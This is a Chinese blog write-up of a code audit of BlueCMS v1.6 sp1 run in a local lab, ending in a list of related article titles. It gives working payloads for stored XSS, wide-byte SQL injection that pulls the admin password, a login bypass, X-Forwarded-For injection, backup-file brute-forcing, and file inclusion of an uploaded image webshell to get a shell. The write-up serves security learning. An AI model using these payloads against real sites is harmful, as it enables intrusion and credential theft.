参考:来自学长的一篇文章
这我看完风哥的审计过程,然后我自己审计的文章。

环境搭建

phpstudy

BlueCMSv1.6sp源码

代码审计工具

总结功能点

BlueCMS本次代码审计实战靶场

拿到这样一个CMS我们首先应该对这个站的正常功能进行测试,看一看存在哪些功能,这里的测试方法是黑盒加白盒,以风哥的观点,挖掘漏洞的核心在于传参,知道了每个传参的意思就等于知道了代码会做什么,要做什么?

以下是风哥总结的这个站的功能点

利用黑白盒交叉审计,我们可以更好的找出漏洞,然后罗列出功能点,再根据功能点去尝试进行测试

大概流程如下:

总结功能点{

黑盒测试功能点{

黑盒测试不出来的地方白盒审计

对测试结果进行白盒审计
}
}

Seay源码审计系统

常见功能简介:
1、代码自动高亮

2、可以自动审计(误报有点高)

3、可以快速全局搜索

4、可以定位函数

5、可以监控Mysql(插件)

接下来就是对这个网站的漏洞挖掘过程。

网站重新安装漏洞


这里我们可以重新访问uploads下面的install目录就可以重新安装

然后我们再来看这个网站,一般而言网站有展示类和功能类。
展示类(比如新闻站、门户站)
功能类(比如商城、OA、系统)

XSS


我们首先注册账户,这里抓个包,看看

可以看到post传参到user.php,变量act的传参do_reg
接下来我们使用seay源码审计

这里的功能就是检查一下注册传参的这些参数,是否为空和去空格
然后注意到下面这段代码

把注册的这些参数insert into插入数据库执行,而且发现好像也没有过滤,于是乎这里我们就可以进行XSS和Sql注入了。首先我们弹一个弹窗试试看

在带入的参数中插入

<script>alert('XSS')</script>


成功弹窗,并且是存储型XSS

sql注入

存在注入点的地方

$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

注册抓包

发现这里竟然没有报错,成功注册,说明我们的单引号并没有造成语句闭合报错应该是被转义了,php配置开启了魔术引号。这时候我们可以回想一下之前的宽字节注入。在引号前面添加%df把引号吃掉

成功报错,说明存在注入
然后我们在看这条payload

%df' or updatexml(1,concat(0x7e,(SELECT database())),1),1,1)#

把他插入语句中,应该是会直接查询数据库

居然没有成功执行查询语句
报错代码如下:

INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'xss123', md5('xss123'), 'xss123@qq.com%df\' or updatexml(1,concat(0x7e,(SELECT database())),1),1,1)#', '1558864503', '1558864503')


而放入数据库编辑器却能查询出数据库

然后我们换思路,insert into 能插入多条语句

$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";

而在这些插入的数据中,能够被我们控制的,并且能够回显得只有eamil这个点。那我们就可以通过在email中添加子查询,查询出我们想要的东西,比如管理员的密码。
插入如下语句:

INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'qwe123', md5('qwe123'), 'qwe123%40qq.com%df',1,1),(100,'mochu',md5(123456),(select pwd from blue_admin where admin_id=1),1,1)#


但是这里报错了,是魔术引号导致的,这里还是使用宽字节中的办法,转换为16进制,将’mochu’=>0x276d6f63687527

成功注册,接下来登入账号

成功拿到管理员密码,不过这里管理员的表和字段都是数据库的,不过这些盲注也可以知道。

登入框存在万能密码


登入抓包,找到传参地点

elseif($act == 'index_login'){$user_name = !empty($_REQUEST['user_name']) ? trim($_REQUEST['user_name']) : '';$pwd = !empty($_REQUEST['pwd']) ? trim($_REQUEST['pwd']) : '';$remember = isset($_REQUEST['remember']) ? intval($_REQUEST['remember']) : 0;if($user_name == ''){showmsg('�û�������Ϊ��');}if($pwd == ''){showmsg('���벻��Ϊ��');}$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");if($row['num'] == 1){showmsg('ϵͳ�û��鲻�ܴ�ǰ̨��¼');}$w = login($user_name, $pwd);

可以看到这里还是没有做任何的过滤在登入框内,所以这里估计还是存在POST注入,所以试试万能密码。

这里的万能密码payload:

%df’) or 1=1#


成功登入。

X-Forwarded-For注入


这里登入一个普通用户,发布两篇文章。


这里既然有评论,那就可能有XSS抓包评论

这里面有一些函数
intval()
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

**htmlspecialchars() **
把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体

**nl2br() **
nl2br() 函数在字符串中的每个新行(\n)之前插入 HTML 换行符(

)。
这些函数看下来,XSS没戏了。
这里把目光转入ip这个点
定位追踪到getip()

这里有一个getenv,实际上就是获取系统的环境变量
第一个HTTP_CLIENT_IP这个环境变量没有成标准,很多服务器完全没法获取
第二个X-Forwarded-For 这个东西可以通过HTTP请求头来修改。
可以控制请求头中的X-Forwarded-For控制ip的传参,ip的传参会直接被拼凑到SQL语句。

设置X-Forwarded-For为1’#后直接报错了。可以注入

sqlmap直接跑出来

数据库备份文件爆破


登入管理员后台,备份数据库

然后我们去服务器上找一下这个文件

我们先直接访问这个文件,因为没有做拦截,可以直接访问

成功访问,然后我们也发现这个文件里有许多敏感信息

而这里唯一不知道的就是路径和数据库文件名,路径很好爆破,文件名又是时间命名的,所以直接爆破可得路径和文件名。

文件包含


在user.php中找到了一个我们可以控制的include
当$act=pay才会触发这个文件包含
找找pay

在这里找到了pay,找到了包含的地方
接下来找上传图片马的点

并且上传了我的图片马

接下来就是去包含
回到pay的传参点

include 'include/payment/'.$_POST['pay']."/index.php";

由此可得路径为:

../../ + 图片马路径 => ../../data/upload/face_pic/15588905480.jpg

然而还有最后一步需要解决,就是传参点后面的index.php,不然肯定会受影响。

直接加进去,并不能包含成功,需要将后面给截掉。
这里%00和00截断都试过了,php低版本才会存在这样的截断,而这里没有。
这里就有一个骚想法:
文件路径长度限制
百度可知:
在Windows API中,路径的最大长度为MAX_PATH,MAX_PATH被定义为260。
最长260个字符
而这里又想到文件上传的想法,在后面加点,加260个点,window是从后面开始截

这样既可得到shell

Bluecms代码审计相关推荐

  1. 代码审计文章资源汇总

    0x00 前言 如饥似渴的学习. 0x01 文章 1.代码审计思路 https://blog.csdn.net/qq_36869808/article/details/83027850 2.SQL审计 ...

  2. ATTCK靶场系列(六)

    一.环境配置 vlunstack是红日安全团队出品的一个实战环境,具体介绍请访问:http://vulnstack.qiyuanxuetang.net/vuln/detail/8/ emmm,我得吐槽 ...

  3. 代码审计之rips之bluecms审计

    rips是一款代码审计工具,下载下来并放在网站跟目录就可以了,然后直接通过浏览器访问,很简单,傻瓜式的使用. 代码审计:https://nchc.dl.sourceforge.net/project/ ...

  4. BlueCms v1.6 本地文件包含漏洞代码审计

    目录 BlueCms POC构造 漏洞利用 BlueCms BlueCMS是一款专注于地方门户网站建设解决方案,基于PHP+MySQL的技术开发,全部源码开放. 复现版本为bluecmsv1.6版本, ...

  5. 渗透测试——bluecms安装及seay代码审计

    安装phpstudy 链接:https://pan.baidu.com/s/1A8QrOJ-I1UHR08l4KbqpUw  提取码:e8a3 按照默认安装即可 安装bluecms 将src_new文 ...

  6. php代码审计之bluecms

    目录 环境搭建 开始找洞洞 sql注入-1 后台sql注入-2 sql注入-3 任意文件删除-1 任意文件删除-2 前后台广告功能xss-1 先看后台 再看前台 个人资料处xss-2 新闻处xss-3 ...

  7. php代码审计基础笔记

    出处: 九零SEC 连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059 -------------------------- ...

  8. 代码审计之SQL注入:BlueCMSv1.6 sp1

    这是一篇纪录关于BlueCMSv1.6 sp1两个SQL注入的审计过程,原文来自代码审计之SQL注入:BlueCMSv1.6 sp1 ,主要纪录一下个人在参考博文复现这两个漏洞经过. href=&qu ...

  9. Bluecms后台任意修改文件getshell

    0x01 前言 前几天在入门代码审计的时候,拿bluecms学习,偶然在百度上面找到一篇文章是写bluecms拿shell的,就学习了一下,我认为应该有部分cms也存在此漏洞,可能文章有不足的地方欢迎 ...

最新文章

  1. 2021全国高校计算机能力挑战赛(初赛)Java试题四
  2. php 直接定义json,PHP json_dncode()函数定义与使用方法
  3. DL之DilatedConvolutions:Dilated Convolutions(膨胀卷积/扩张卷积)算法的简介(论文介绍)、架构详解、案例应用等配图集合之详细攻略
  4. Python实训day04pm【网络爬虫(文本、图片)】
  5. Java笔记——Java代码块的执行顺序
  6. 深入理解Spark 2.1 Core (五):Standalone模式运行的原理与源码分析
  7. 5行代码可实现5倍Scikit-Learn参数调整的更快速度
  8. git stash参数介绍
  9. sitemap.xml 静态和动态生成页面 shopnc二次开发 动态生成sitemap.xml
  10. 关于might_sleep的一点说明
  11. 你的Android HTTPS真的安全吗?(转载)
  12. Siamese-RPN论文阅读
  13. NIOS 2 软核中EPCS配置芯片的存储操作
  14. 大屏一体机!奥可视新品A5亮点浅析
  15. 【有利可图网】PS实战系列:用ps做出雨中油画的质感
  16. 8255实现数码显示管显示两位数字
  17. 正则验证车牌号码(包括新能源车牌)
  18. imx6 Android gpu 内存,IMX8M / IMX8M NANO /IMX6D 等GPU的简单对比
  19. (转载)深入了解iOS中的OOM(低内存崩溃)
  20. ros环境下配置orb-slam2遇到的问题

热门文章

  1. Win10下不能识别Android的MTP模式
  2. 专访许雪松:深入理解嵌入式开发
  3. JAVA计算机毕业设计弹幕视频网站计算机(附源码、数据库)
  4. Python3的桌面程序开发利器:Eric6的环境搭建、使用
  5. 1837:Balance
  6. aws saa是什么缩写?aws saa认证考察什么?
  7. 电子商务网站一般架构有哪些
  8. 国外技术论坛和顶级公司技术博客汇总
  9. S7-200SMART案例分析——运动控制编程
  10. Thymeleaf 变量输出与字符串操作